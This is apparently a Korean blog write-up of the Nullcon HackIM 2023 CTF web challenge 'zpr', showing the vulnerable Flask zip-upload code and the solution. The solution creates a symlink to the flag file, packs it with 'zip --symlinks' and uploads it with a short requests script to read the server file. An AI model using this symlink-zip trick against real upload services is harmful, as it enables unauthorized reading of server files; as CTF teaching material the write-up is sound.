본문 바로가기

웹해킹/CTF

Nullcon Berlin HackIM 2023 CTF - WEB zpr Writeup

반응형

Nullcon Berlin HackIM 2023 CTF - WEB zpr

1. zpr Writeup

먼저 문제를 풀기 위해 app.py 코드부터 확인해 보자.

 

 

 

 

app.py

@app.route('/', methods=['POST'])
def upload():
	output = io.StringIO()
	if 'file' not in request.files:
		output.write("No file provided!\n")
		return Response(output.getvalue(), mimetype='text/plain')

	try:
		file = request.files['file']

		filename = hashlib.md5(secrets.token_hex(8).encode()).hexdigest()
		dirname = hashlib.md5(filename.encode()).hexdigest()

		dpath = os.path.join("/tmp/data", dirname)
		fpath = os.path.join(dpath, filename + ".zip")

		os.mkdir(dpath)
		file.save(fpath)


		with zipfile.ZipFile(fpath) as zipf:
			files = zipf.infolist()
			if len(files) > 5:
				raise Exception("Too many files!")

			total_size = 0
			for the_file in files:
				if the_file.file_size > 50:
					raise Exception("File too big.")

				total_size += the_file.file_size

			if total_size > 250:
				raise Exception("Files too big in total")

		check_output(['unzip', '-q', fpath, '-d', dpath])


		g = glob.glob(dpath + "/*")
		for f in g:
			output.write("Found a file: " + f + "\n")

		output.write("Find your files at http://...:8088/" + dirname + "/\n")


	except Exception as e:
		output.write("Error :-/\n")

	return Response(output.getvalue(), mimetype='text/plain')

이번 문제는 post로 .zip 파일을 업로드할 수 있는 페이지를 준다. 그리고 서버 포트를 10016으로 주고 거기서 파일을 열어보고 확인할 수 있다. 그래서 처음엔 웹쉘 업로드해서 flag를 읽는 줄 알았다. 업로드하고 보니까, /tmp까지만 파일을 확인할 수 있었다.

 

 

ln -s ../../../../flag flag  #심볼릭 링크 생성
zip --symlinks test.zip flag #심볼릭 링크 압축

결론은 압축 파일을 보낼 때, 내부에서 파일을 압축해야 한다. 그래서 flag를 대상으로 하는 심볼릭 링크를 생성하고 압축한다. 

 

 

import requests
url = "http://52.59.124.14:10015/"
files = {'file': open('test.zip','rb')}
res = requests.post(url, files=files)

print(res.text)

다음 post로 보낸다. 그럼 서버에서 내 파일을 확인할 수 있는 링크를 준다.

 

 

들어가 보면 압축했던 flag 파일이 unzip 되어 있고 다운로드하여서 확인하면 flag가 나온다.

 

 

ENO{Z1pF1L3s_C4N_B3_Dangerous_so_b3_c4r3ful!}

728x90